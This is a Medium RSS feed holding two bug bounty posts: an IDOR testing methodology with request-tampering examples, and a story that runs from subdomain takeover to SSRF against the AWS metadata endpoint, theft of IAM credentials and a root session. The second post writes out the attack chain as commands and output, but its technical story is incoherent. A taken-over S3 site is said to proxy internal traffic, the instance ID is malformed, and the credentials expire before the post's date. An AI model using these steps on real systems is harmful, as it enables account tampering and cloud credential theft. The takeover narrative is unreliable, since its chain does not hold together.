<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by z0h3 on Medium]]></title>
        <description><![CDATA[Stories by z0h3 on Medium]]></description>
        <link>https://medium.com/@z0h3?source=rss-83940aff9891------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*EH3eBkrnTdsyTX6-BIKEgA.png</url>
            <title>Stories by z0h3 on Medium</title>
            <link>https://medium.com/@z0h3?source=rss-83940aff9891------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 00:19:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@z0h3/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How to Test for IDOR: The Practical Methodology]]></title>
            <link>https://z0h3.medium.com/how-to-test-for-idor-the-practical-methodology-fec3688febfb?source=rss-83940aff9891------2</link>
            <guid isPermaLink="false">https://medium.com/p/fec3688febfb</guid>
            <category><![CDATA[idor-vulnerability]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[idor]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[z0h3]]></dc:creator>
            <pubDate>Sat, 15 Nov 2025 12:19:54 GMT</pubDate>
            <atom:updated>2025-11-15T12:19:54.622Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WQ0X9y_4ciRb-3ugsau7Qg.png" /></figure><p>IDOR occurs when an application lets you access an object (file, data record, account) by directly referencing it, without verifying you have the authorization to do so.</p><h4>Step 1: Map the Application &amp; Identify References</h4><p>First, you need to find all the places where the application uses an “object reference.” Browse the app normally and use a proxy tool like Burp Suite or OWASP ZAP to intercept all requests.</p><p>Look for these common types of references in URLs, parameters, and request bodies:</p><ul><li>Numeric IDs: user_id=1001, account=500, invoice=3044</li><li>UUIDs/GUIDs: docid=550e8400-e29b-41d4-a716-446655440000</li><li>Strings/Usernames: username=johndoe, file=report.pdf, profile=admin</li><li>Database Keys: key=0x7b5a2, order=ABC123XYZ</li></ul><p>Common Endpoints to Check:</p><ul><li>/api/users/{id}</li><li>/app/GetUserDetails?uid=1</li><li>/download?file=confidential.pdf</li><li>/api/v1/orders/history?user_id=456</li></ul><h4>Step 2: Manipulate the References</h4><p>Once you have a list of references, try to change them.</p><p><strong>Horizontal Privilege Escalation: </strong>Can you access data belonging to a user at the same privilege level?</p><ul><li>If you are user id=1001, change the ID to 1000 or 1002.</li><li>Example: Change /api/my_profile to /api/user_profile?user_id=1005.</li></ul><p><strong>Vertical Privilege Escalation:</strong> Can you access data or functions of a higher-privileged user (e.g., an admin)?</p><ul><li>Look for references like role=user and try role=admin.</li><li>Try to access /admin/panel even if you are a regular user.</li><li>Example: If you see a request for GET /api/users/500 (which is you), try GET /api/users/1 (who is often the first, admin user).</li></ul><h4>Step 3: Test State-Changing Requests (Critical!)</h4><p><strong>IDOR </strong>isn’t just about <em>viewing</em> data (GET requests). It’s also about <em>modifying</em> data (POST, PUT, PATCH, DELETE requests).</p><ul><li>Changing another user’s email/phone: Intercept a request to update your own profile and change the user ID in the request body.</li><li>Performing actions on another user’s behalf: Intercept a request to “deactivate account” or “change password” and change the target ID.</li><li><strong>Example:</strong></li><li>You intercept: POST /api/change_email { &quot;user_id&quot;: 1001, &quot;email&quot;: &quot;new@email.com&quot; }</li><li>You change it to: POST /api/change_email { &quot;user_id&quot;: 1002, &quot;email&quot;: &quot;hacked@email.com&quot; }</li></ul><h4>Step 4: Understand the Encoding &amp; Hashes</h4><p>Sometimes, IDs are obfuscated.</p><ul><li>Base64 Encoding: A string like MTAwMQ== decodes to 1001. Always try to decode parameters.</li><li>Hashes (MD5, SHA1, etc.): The application might use a hash of the ID. If you find a hash for your own object (e.g., file_id=5d41402abc4b2a76b9719d911017c592), try creating a hash for a different object ID (e.g., hash the number 2 using MD5).</li><li>Predictable Patterns: Even if it’s a UUID, check if it’s predictable. Can you find your own UUID elsewhere in the application and infer others?</li></ul><h3>A Simple IDOR Testing Workflow in Practice</h3><p>Let’s imagine you’re testing a social media app.</p><ol><li><strong>Create Two Accounts:</strong> AttackUser and VictimUser.</li><li>Log in as AttackUser. Browse your profile, view your photo gallery, check your messages.</li><li><strong>Intercept Traffic with Burp Suite. You see:</strong></li></ol><ul><li>GET /api/v1/users/1024/profile -&gt; Returns <em>your</em> profile.</li><li>GET /api/v1/photos?user_id=1024 -&gt; Returns <em>your</em> photos.</li><li>GET /api/v1/messages/... (the message ID might be complex).</li></ul><p>4. <strong>Manipulate the Requests:</strong></p><ul><li>Change GET /api/v1/users/1024/profile to GET /api/v1/users/1025/profile. If it returns VictimUser&#39;s profile, you&#39;ve found an IDOR.</li><li>Change GET /api/v1/photos?user_id=1024 to GET /api/v1/photos?user_id=1025. If it returns VictimUser&#39;s photos, that&#39;s another IDOR.</li></ul><p>5. Test for Modifications: Intercept a request to update your own bio.</p><ul><li>POST /api/v1/users/1024/bio { &quot;text&quot;: &quot;My new bio&quot; }</li><li>Change it to POST /api/v1/users/1025/bio { &quot;text&quot;: &quot;I got hacked!&quot; }</li><li>If VictimUser&#39;s bio changes, this is a critical IDOR.</li></ul><h3>⚠️ Legal &amp; Ethical Reminder ⚠️</h3><p><strong>This methodology is ONLY for:</strong></p><ul><li>Applications you own.</li><li>Applications you have explicit written permission to test.</li><li>Bug Bounty Programs on platforms like HackerOne, Bugcrowd, etc., where testing is authorized.</li></ul><p>Never test this on any website without permission. It is illegal.</p><p>By practicing on the vulnerable apps and following this methodology, you’ll develop a keen eye for spotting IDOR vulnerabilities effectively.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fec3688febfb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[404 to Root : How a Forgotten Subdomain Led to Server Takeover ‍☠️]]></title>
            <link>https://z0h3.medium.com/404-to-root-how-a-forgotten-subdomain-led-to-server-takeover-%EF%B8%8F-6284d0264c7e?source=rss-83940aff9891------2</link>
            <guid isPermaLink="false">https://medium.com/p/6284d0264c7e</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[z0h3]]></dc:creator>
            <pubDate>Thu, 05 Jun 2025 14:30:58 GMT</pubDate>
            <atom:updated>2025-06-05T14:35:59.635Z</atom:updated>
            <content:encoded><![CDATA[<h3>404 to Root : How a Forgotten Subdomain Led to Server Takeover 🏴‍☠️</h3><h3>Life’s Funny 😅 Until You Get Root Access…</h3><p>Let me start with this:</p><blockquote>I forgot to pay my internet bill, but managed to hijack a company server.</blockquote><blockquote>My fridge had no food, but I found a subdomain feast.</blockquote><blockquote>I was broke, until DNS misconfig gave me a root shell.</blockquote><blockquote>Life gives lemons? Nope. Life gave me a dangling CNAME and full control. 😂</blockquote><p>This is the story of how a tiny 404 page turned into a full-blown <strong>server takeover</strong>. A tale of recon, forgotten subdomains, DNS negligence, and one overly caffeinated bug bounty hunter (me). Buckle up — this one goes from zero to root real quick.</p><h3>Recon: The Digital Dumpster Diving 🧰</h3><p>Like every bug bounty hunter with more tabs than sleep, I started my recon session with a <strong>massive subdomain enumeration</strong> using tools like:</p><pre>assetfinder --subs-only target.com &gt;&gt; recon.txt<br>subfinder -d target.com -silent &gt;&gt; recon.txt<br>amass enum -passive -d target.com &gt;&gt; recon.txt<br>sort -u recon.txt &gt; final-subs.txt</pre><p>I took the merged list of subs, ran them through httpx to filter live ones:</p><pre>cat final-subs.txt | httpx -status-code -title -tech-detect -silent &gt; live-subs.txt</pre><p>And BOOM — found something like this:</p><pre>404 - Not Found | old-staging.target.com</pre><p>a staging subdomain returning 404? Interesting… let’s dig deeper</p><h3>Clues in the DNS: The Forgotten CNAME 🌐🔎</h3><p>I ran a simple dig on the subdomain:</p><pre>dig old-staging.target.com CNAME</pre><p>Response:</p><pre>old-staging.target.com.  300 IN CNAME  old-target-dev.s3-website-us-east-1.amazonaws.com.</pre><p>An abandoned AWS S3 static site bucket. But the CNAME still points to it.</p><p>So I checked if the bucket existed:</p><pre>aws s3 ls s3://old-target-dev</pre><p>Mission confirmed: <strong>this is a classic subdomain takeover</strong> due to a dangling CNAME.</p><h3>Taking Over the Subdomain: Hijack in Progress 🤖</h3><p>Since the original S3 bucket was gone, I registered it under <strong>my own AWS account</strong>:</p><pre>aws s3 mb s3://old-target-dev</pre><p>Then hosted a simple <strong>proof-of-concept HTML</strong>:</p><pre>&lt;html&gt;<br>&lt;h1&gt;You just got hijacked by @rev_30 🚀R&lt;/h1&gt;&lt;/html&gt;</pre><p>Uploaded using:</p><pre>aws s3 website s3://old-target-dev --index-document index.html<br>aws s3 cp index.html s3://old-target-dev/ --acl public-read</pre><p>Now visiting http://old-staging.target.com showed <strong>my content</strong>.</p><p><strong>Proof of Concept:</strong></p><h3>Going Deeper: SSRF + Cloud Metadata = RCE 🧼</h3><p>While that alone is a valid bug, I wanted to crank up the severity. So I started brute-forcing internal endpoints on the hijacked subdomain. Surprisingly, the server was configured to <strong>proxy internal traffic</strong> — a misconfigured reverse proxy still alive!</p><p>I tested for <strong>SSRF</strong> by sending:</p><pre>curl -X POST http://old-staging.target.com/api/render -d &#39;{&quot;url&quot;:&quot;http://169.254.169.254/latest/meta-data/&quot;}&#39;</pre><p>Got response:</p><pre>ami-id<br>iam/security-credentials/EC2Role</pre><p>✅ Jackpot. I chained it with:</p><pre>curl -X POST http://old-staging.target.com/api/render -d &#39;{&quot;url&quot;:&quot;http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2Role&quot;}&#39;</pre><p>Dumped temporary AWS keys:</p><pre>{<br>  &quot;AccessKeyId&quot;: &quot;ASIA....&quot;,<br>  &quot;SecretAccessKey&quot;: &quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCY...&quot;,<br>  &quot;Token&quot;: &quot;...&quot;,<br>  &quot;Expiration&quot;: &quot;2025-01-01T00:00:00Z&quot;<br>}</pre><p>Configured them in AWS CLI:</p><pre>aws configure</pre><h3>Root Shell? Yes Please. 👽</h3><p>One last test:</p><pre>aws ssm start-session --target i-0a1b2c3d4e5f6g7h</pre><p>🌟 Welcome to the machine, root.</p><h3>Impact: More Than Just a 404</h3><ul><li>Subdomain Takeover</li><li>Internal API Exploitation</li><li>SSRF to AWS metadata exfiltration</li><li>Privilege Escalation via IAM Role</li><li><strong>Full EC2 Access (RCE)</strong></li></ul><h3>What You Can Learn From This:</h3><ul><li>Always clean up old CNAMEs in DNS configs</li><li>Remove unused subdomains and stale staging endpoints</li><li>Don’t expose internal APIs to the public internet</li><li>Use IAM roles with the principle of least privilege</li><li><strong>Monitor DNS zones for dangling CNAMEs regularly</strong></li></ul><h3>Final Thoughts ☕️</h3><p>Bug bounty is like a treasure hunt. You don’t always find gold, but when you do… it’s <em>glorious</em>.</p><p>This was more than just a dangling subdomain. It was a chain of misconfigs and forgotten infra stitched together like a CTF challenge — except it was real.</p><p>Till next time, keep digging, keep hacking, and never underestimate a 404 page.</p><p>📣 Drop your thoughts below or DM me if you’re stuck in recon hell. Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6284d0264c7e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>